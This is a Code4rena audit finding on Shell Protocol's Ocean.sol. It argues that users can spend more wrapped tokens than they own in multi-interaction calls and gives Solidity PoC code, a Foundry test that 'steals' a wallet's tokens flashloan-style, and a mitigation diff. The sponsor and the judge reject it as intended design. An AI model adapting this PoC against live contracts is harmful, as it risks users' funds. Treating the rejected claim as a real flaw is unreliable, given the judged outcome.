_doMultipleInteractions - User can use more wrapped tokens than they own

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L229 https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L281 https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L522 https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L757

Vulnerability details

Impact

User can use more wrapped tokens than they own.

Proof of Concept

When wrapped tokens are used by an Adaptor or Primitive through _computeOutputAmount, it does not check if the user has enough tokens. Therefore, when calling _computeOutputAmount, you need to check that the user owns inputAmount of inputTokens.

function _computeOutputAmount(
    address primitive,
    uint256 inputToken,
    uint256 outputToken,
    uint256 inputAmount,
    address userAddress,
    bytes32 metadata
)
    internal
    returns (uint256 outputAmount)
{
    // mint before making a external call to the primitive to integrate with external protocol primitive adapters
@>  _increaseBalanceOfPrimitive(primitive, inputToken, inputAmount);

    outputAmount =
        IOceanPrimitive(primitive).computeOutputAmount(inputToken, outputToken, inputAmount, userAddress, metadata);

    _decreaseBalanceOfPrimitive(primitive, outputToken, outputAmount);

    emit ComputeOutputAmount(primitive, inputToken, outputToken, inputAmount, outputAmount, userAddress);
}

Normally, the balance is checked by ERC1155 burn, but in the case of _doMultipleInteractions, the delta is calculated during processing multiple interactions, and then mint/burn at the end.

Therefore, if user spends more wrapped tokens than the user acturally has, and then return the same amount of tokens, delta would be zero and there no burn will accurs.

This means that all wrapped tokens can be stolen in a flashloan-like style for 1 tx. Users can earn profit by similar way with flashloan, except not lending but using stolen token.

function _doMultipleInteractions(
    Interaction[] calldata interactions,
    uint256[] calldata ids,
    address userAddress
)
    internal
    returns (
        uint256[] memory burnIds,
        uint256[] memory burnAmounts,
        uint256[] memory mintIds,
        uint256[] memory mintAmounts
    )
{
    ...

    // Execute the interactions
    {
        Interaction memory interaction;
        address userAddress_ = userAddress;

        for (uint256 i = 0; i < interactions.length;) {
            ...

            uint256 specifiedAmount;
            if (interaction.specifiedAmount == GET_BALANCE_DELTA) {
                specifiedAmount = balanceDeltas.getBalanceDelta(interactionType, specifiedToken);
            } else {
@>              specifiedAmount = interaction.specifiedAmount;
            }
// no check of actually have that balance
            (uint256 inputToken, uint256 inputAmount, uint256 outputToken, uint256 outputAmount) =
@>          _executeInteraction(
                interaction, interactionType, externalContract, specifiedToken, specifiedAmount, userAddress_
            );

            // inputToken is given up by the user during the interaction
            if (inputAmount > 0) {
                // equivalent to (inputAmount != 0)
@>              balanceDeltas.decreaseBalanceDelta(inputToken, inputAmount);
            }

            // outputToken is gained by the user during the interaction
            if (outputAmount > 0) {
                // equivalent to (outputAmount != 0)
@>              balanceDeltas.increaseBalanceDelta(outputToken, outputAmount);
            }
            unchecked {
                ++i;
            }
        }
    }

    // Persist intra-transaction balance deltas to the Ocean's public ledger
    {
        // Place positive deltas into mintIds and mintAmounts
        // Place negative deltas into burnIds and burnAmounts
@>      (mintIds, mintAmounts, burnIds, burnAmounts) = balanceDeltas.createMintAndBurnArrays();

        ...
    }
}

User needs to make delta zero to avoid burning ERC1155, so the stolen tokens must be returned. As a result, there is no loss of tokens in the protocol.

However, Ocean is a ledger service, not a lending service. The fact that users can spend more tokens than they own is a critical issue for this service.

This is a PoC test code. First, define this PoC contract at the top of the TestCurve2PoolAdapter.t.sol file.

contract PoC is OceanAdapter {
    address public immutable usdcAddress;

    constructor(address ocean_, address primitive_, address usdcAddress_) OceanAdapter(ocean_, primitive_) {
        usdcAddress = usdcAddress_;
        _approveToken(usdcAddress_);
    }

    function wrapToken(uint256 tokenId, uint256 amount) internal override {
        Interaction memory interaction = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(usdcAddress, uint256(InteractionType.WrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: amount,
            metadata: bytes32(0)
        });

        IOceanInteractions(ocean).doInteraction(interaction);
    }

    function unwrapToken(uint256 tokenId, uint256 amount) internal override {
        Interaction memory interaction = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(usdcAddress, uint256(InteractionType.UnwrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: amount,
            metadata: bytes32(0)
        });

        IOceanInteractions(ocean).doInteraction(interaction);
    }

    function primitiveOutputAmount(
        uint256 inputToken,
        uint256 outputToken,
        uint256 inputAmount,
        bytes32 minimumOutputAmount
    )
        internal
        override
        returns (uint256 outputAmount)
    {
        require(_convertDecimals(6, NORMALIZED_DECIMALS, IERC20(usdcAddress).balanceOf(address(this))) == inputAmount);
        // Do whatever you want
        // You can earn profit like flashloan, but not using lending but stolen token

        // return the stolen token
        outputAmount = _convertDecimals(6, NORMALIZED_DECIMALS, IERC20(usdcAddress).balanceOf(address(this)));
    }

    function _approveToken(address tokenAddress) private {
        IERC20Metadata(tokenAddress).approve(ocean, type(uint256).max);
    }
}

Then add the following function to the TestCurve2PoolAdapter contract in the TestCurve2PoolAdapter.t.sol file and run it.

function testPoc() public {
    address hacker = address(0x1337);

    vm.startPrank(wallet);
    ocean.changeUnwrapFee(type(uint256).max); // fee is very small(get current setting from https://arbiscan.io/address/0xc32eb36f886f638fffd836df44c124074cfe3584#readContract)

    address inputAddress = usdcAddress;
    address outputAddress = usdcAddress; // same (repay in the end. it's similar with flashloan)

    IERC20(inputAddress).approve(address(ocean), type(uint256).max);

    uint256 amount = IERC20(inputAddress).balanceOf(wallet) * 1e12;

    // The user wrap it's USDC
    Interaction[] memory interactions = new Interaction[](1);

    interactions[0] = Interaction({
        interactionTypeAndAddress: _fetchInteractionId(inputAddress, uint256(InteractionType.WrapErc20)),
        inputToken: 0,
        outputToken: 0,
        specifiedAmount: amount,
        metadata: bytes32(0)
    });

    // erc1155 token id's for balance delta
    uint256[] memory ids = new uint256[](1);
    ids[0] = _calculateOceanId(inputAddress);

    ocean.doMultipleInteractions(interactions, ids);

    vm.stopPrank();

    // Steal wallet's token for 1 tx
    vm.startPrank(hacker); // hacker does not have any wrapped token

    PoC poc = new PoC(address(ocean), address(0), usdcAddress);

    IERC20(inputAddress).approve(address(ocean), type(uint256).max);

    interactions = new Interaction[](1);

    interactions[0] = Interaction({
        interactionTypeAndAddress: _fetchInteractionId(address(poc), uint256(InteractionType.ComputeOutputAmount)),
        inputToken: _calculateOceanId(inputAddress),
        outputToken: _calculateOceanId(outputAddress),
        specifiedAmount: amount,
        metadata: bytes32(0)
    });

    // erc1155 token id's for balance delta
    ids = new uint256[](1);
    ids[0] = _calculateOceanId(inputAddress);

    ocean.doMultipleInteractions(interactions, ids);

    vm.stopPrank();
}

Tools Used

Manual Review

Recommended Mitigation Steps

Check balance of user before spending token.

function _doMultipleInteractions(
    Interaction[] calldata interactions,
    uint256[] calldata ids,
    address userAddress
)
    internal
    returns (
        uint256[] memory burnIds,
        uint256[] memory burnAmounts,
        uint256[] memory mintIds,
        uint256[] memory mintAmounts
    )
{
    ...

    // Execute the interactions
    {
        Interaction memory interaction;
        address userAddress_ = userAddress;

        for (uint256 i = 0; i < interactions.length;) {
            ...
            uint256 specifiedToken = _getSpecifiedToken(interactionType, externalContract, interaction);

            uint256 specifiedAmount;
            if (interaction.specifiedAmount == GET_BALANCE_DELTA) {
                specifiedAmount = balanceDeltas.getBalanceDelta(interactionType, specifiedToken);
            } else {
                specifiedAmount = interaction.specifiedAmount;
+               if(interactionType == InteractionType.UnwrapErc20
+                   || interactionType == InteractionType.UnwrapErc721
+                   || interactionType == InteractionType.UnwrapErc1155
+                   || interactionType == InteractionType.UnwrapEther
+                   || interactionType == InteractionType.ComputeOutputAmount){

+                   // find token(You can make BalanceDelta._findIndexOfTokenId as public function and use it)
+                   BalanceDelta memory balanceDelta;
+                   for (uint256 index = 0; index < balanceDeltas.length; ++index) {
+                       if (balanceDeltas[index].tokenId == specifiedToken) {
+                           balanceDelta = balanceDeltas[index];
+                       }
+                   }
+                   // (balance of user - token already used at this tx) or (balance of user + amount of token earn at this tx)
+                   require(uint256(int256(balanceOf(userAddress_, specifiedToken)) + balanceDelta.delta) >= specifiedAmount, "not enough balance");        
+                }
            }

            (uint256 inputToken, uint256 inputAmount, uint256 outputToken, uint256 outputAmount) =
            _executeInteraction(
                interaction, interactionType, externalContract, specifiedToken, specifiedAmount, userAddress_
            );

Assessed type

Invalid Validation

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-sponsor]

viraj124 (sponsor) disputed

[viraj124]

This is 100% expected behavior. Indeed, it was a conscious design choice to allow the user to spend more than they have. We chose for the balanceDelta to use int256 to track user balances to enable this behavior. The white paper goes into detail about this.

[viraj124]

it is just an ocean feature like flash loans at Aave for example to let users spend more tokens than they own when doing multiple interactions as long as the protocol doesn't lose any tokens in the end

[c4-judge]

0xA5DF marked the issue as unsatisfactory: Invalid

[0xA5DF]

Agree with sponsor